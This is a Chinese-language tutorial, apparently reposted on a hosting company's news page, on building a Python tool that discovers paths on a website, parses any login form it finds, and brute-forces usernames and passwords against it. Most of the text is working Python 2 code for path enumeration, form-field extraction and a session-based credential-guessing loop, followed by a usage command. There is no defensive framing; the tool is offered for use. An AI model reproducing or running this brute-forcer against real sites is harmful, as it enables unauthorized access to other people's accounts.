您好,登錄后才能下訂單哦!
在python項(xiàng)目中怎么使用遍歷路徑來破解表單?相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
首先就是路徑爆破,采用多線程隊(duì)列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實(shí)現(xiàn)了一個(gè)css選擇器,獲取form表單中的input字段標(biāo)簽,提取標(biāo)簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁面,如沒有頁面默認(rèn)在當(dāng)前表單頁提交。
input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫的session登陸。獲取cookie,先采用session請求獲取cookie后,再采用session攜帶cookie進(jìn)行請求提交。然后對輸入的驗(yàn)證值進(jìn)行判斷是否為登陸成功。
for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
看完上述內(nèi)容,你們掌握在python項(xiàng)目中怎么使用遍歷路徑來破解表單的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。